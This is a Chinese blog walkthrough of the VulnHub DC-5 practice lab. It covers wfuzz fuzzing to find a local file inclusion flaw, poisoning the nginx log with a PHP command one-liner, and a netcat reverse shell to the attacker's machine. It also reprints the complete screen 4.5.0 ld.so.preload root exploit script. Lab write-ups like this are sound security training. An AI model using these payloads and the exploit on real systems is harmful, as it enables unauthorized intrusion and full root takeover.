VulnHub通关日记-DC_5-Walkthrough

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

靶机地址:https://www.vulnhub.com/entry/dc-5,314/

学习到的知识

LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root

信息搜集

拿到 IP 先扫描端口开放服务:


nmap -A -T 4 192.168.1.144



它这边只开放了 80(http)和 111(RPC)两个端口服务!

RPC 他是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。

我们先来到 WEB 端,但是没有什么可利用点,只有一个表单提交的地方:


http://192.168.1.144/contact.php



我随便提交了一些内容,发现了它会被提交到 thankyou.php 这个文件:


图片


LFI本地文件包含获取shell

看上去有点像 LFI(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:


wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z



由于FUZZ出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:


http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf



打开后我发现它可以读取系统文件:



这个时候确定了它存在本地文件包含!那么我继续用 wfuzz 缩小我们得到的参数范围:



wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z--h 是过滤Chars


图片


这样我们就成功的得到一些可利用的参数:




arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2ZTotal requests: 2568
===================================================================ID           Response   Lines    Word     Chars       Payload                                                                                                                                    ===================================================================
000001714:   200        44 L     68 W     861 Ch      "file - /etc/issue"                                                                                                                        000001715:   200        49 L     103 W    1121 Ch     "file - /etc/motd"                                                                                                                         000001716:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       000001717:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       000001719:   200        96 L     117 W    1558 Ch     "file - /etc/group"                                                                                                                        000001833:   500        38 L     58 W     786 Ch      "file - /etc/php5/apache2/php.ini"                                                                                                         000001844:   500        38 L     58 W     786 Ch      "file - /etc/php5/cgi/php.ini"                                                                                                             000001872:   200        170 L    590 W    4368 Ch     "file - /etc/mysql/my.cnf"                                                                                                                 000001926:   200        65662    871324   9389548 C   "file - /var/log/nginx/access.log"



随后我发现了它的一个日志文件里有我们的请求记录:


http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log



既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:


http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>



(温馨提示:到这里我靶机重启了一下,所以 IP 变了)

接下来然后用日志文件去执行命令 ls


http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls


成功执行命令!那么我就用 nc 反弹一个shell回来吧!先是 KALI nc 监听 5555 端口,然后访问得到一枚 shell


http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555



得到 shell 以后我用 python 切换到 bash


python -c 'import pty;pty.spawn("/bin/bash")'



权限提升

之后我查找 SUID 权限的文件发现了 screen


find / -perm /4000 2>/dev/null



紧接着我又去搜索了一下关于 screen 的漏洞,找到了一个提权 poc





#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell



接着我按照上面的 POC 创建了 libhax.crootshell.c 文件,文件内容是:






root@kali:~# cat libhax.c 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
root@kali:~# cat rootshell.c 
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}



随后用 gcc 编译他们:



gcc -fPIC -shared -ldl -o libhax.so libhax.cgcc -o rootshell rootshell.c



编译完后我用 nc 把刚刚编译好的文件传到目标服务器上:



KALI:nc -nlvp 7777 < libhax.sonc -nlvp 7777 < rootshell
靶机:nc 192.168.1.128 7777 > libhax.sonc 192.168.1.128 7777 > rootshell





最后按照 POC 上面的步骤依次输入命令提权为 root


cd /etc




umask 000




screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"




screen -ls



/tmp/rootshell



最终也是在 /root 目录下拿到了 Flag


相关文章
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
1055 0
|
21天前
|
SQL 安全 Shell
vulnhub靶机实战_DC-3
本文介绍DC-3靶机渗透测试全过程,涵盖环境搭建、信息扫描、SQL注入、权限提升等环节。通过Joomla漏洞获取管理员密码,上传木马并提权至root,最终获取flag,是一套完整的渗透实战流程。
181 1
|
21天前
|
SQL Shell 网络安全
vulnhub靶机实战_DC-8
本文介绍DC-8靶机渗透全过程,涵盖环境搭建、信息扫描、SQL注入、密码爆破、反向Shell获取及提权。利用sqlmap与john工具破解用户凭据,通过Web表单执行命令并获取root权限,最终读取flag完成渗透测试。
134 0
|
21天前
|
关系型数据库 MySQL 网络安全
vulnhub靶机实战_DC-7
本文介绍DC-7靶机渗透测试全过程,包括靶机下载、VMware导入、网络配置、Nmap扫描发现开放80和22端口,通过信息搜集获取数据库凭证,尝试登录SSH成功,获得系统访问权限。适合网络安全学习者实践渗透流程。
70 0
|
21天前
|
中间件 测试技术 应用服务中间件
vulnhub靶机实战_DC-5
本教程介绍如何下载并配置DC-5靶机进行安全测试。内容包括靶机下载链接、VMware导入步骤、网络设置及Nmap扫描分析,帮助快速搭建渗透测试环境。
134 0
|
21天前
|
存储 安全 Shell
vulnhub靶机实战_DC-4
本文介绍了DC-4靶机渗透测试的完整过程,包括靶机下载、环境搭建、信息扫描、漏洞利用、提权以及最终获取flag的详细步骤。通过使用工具如nmap、Hydra进行端口扫描与密码爆破,结合反向Shell与teehee命令实现权限提升,最终成功获取系统flag。内容详实,适合网络安全学习与实践。
227 0
vulnhub靶机实战_DC-4
|
21天前
|
安全 网络安全 开发工具
vulnhub靶机实战_DC-2
本文介绍了DC-2靶机的渗透测试实战过程,涵盖靶机下载、环境搭建、信息扫描、漏洞利用、权限提升及最终提权获取flag的完整流程。内容包括使用nmap扫描、WPScan和Hydra工具爆破登录信息,绕过rbash限制,利用git提权等关键技术步骤。
86 0
|
21天前
|
安全 网络安全 数据库
vulnhub靶机实战_DC-1
本实验通过启动靶机、扫描漏洞、攻击Drupal服务、获取数据库权限、提权至root,最终成功获取所有flag,完成渗透测试目标。
140 0
vulnhub靶机实战_DC-1
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
223 0
|
安全 Shell 网络安全
基于Vulnhub靶场之DC-3渗透测试过程
Vulhub靶场介绍: [Vulhub](https://vulhub.org/) 是一个专注于安全漏洞复现和学习的开源项目。它提供了各种常见漏洞的复现环境,帮助网络安全从业者学习和研究漏洞利用技术。这些环境涵盖了Web应用、容器和操作系统等多个领域。Vulhub 的特点包括: 1. **丰富的漏洞场景**:覆盖多种常见的漏洞,如SQL注入、XSS等。 2. **详细复现指南**:为每个漏洞场景提供详细的环境搭建和利用步骤,便于学习和实践。 3. **易于使用**:提供一键部署或Docker镜像,简化环境搭建过程 4. **持续更新与维护**:项目在GitHub上开源,不断接收社区的贡献和更新
532 0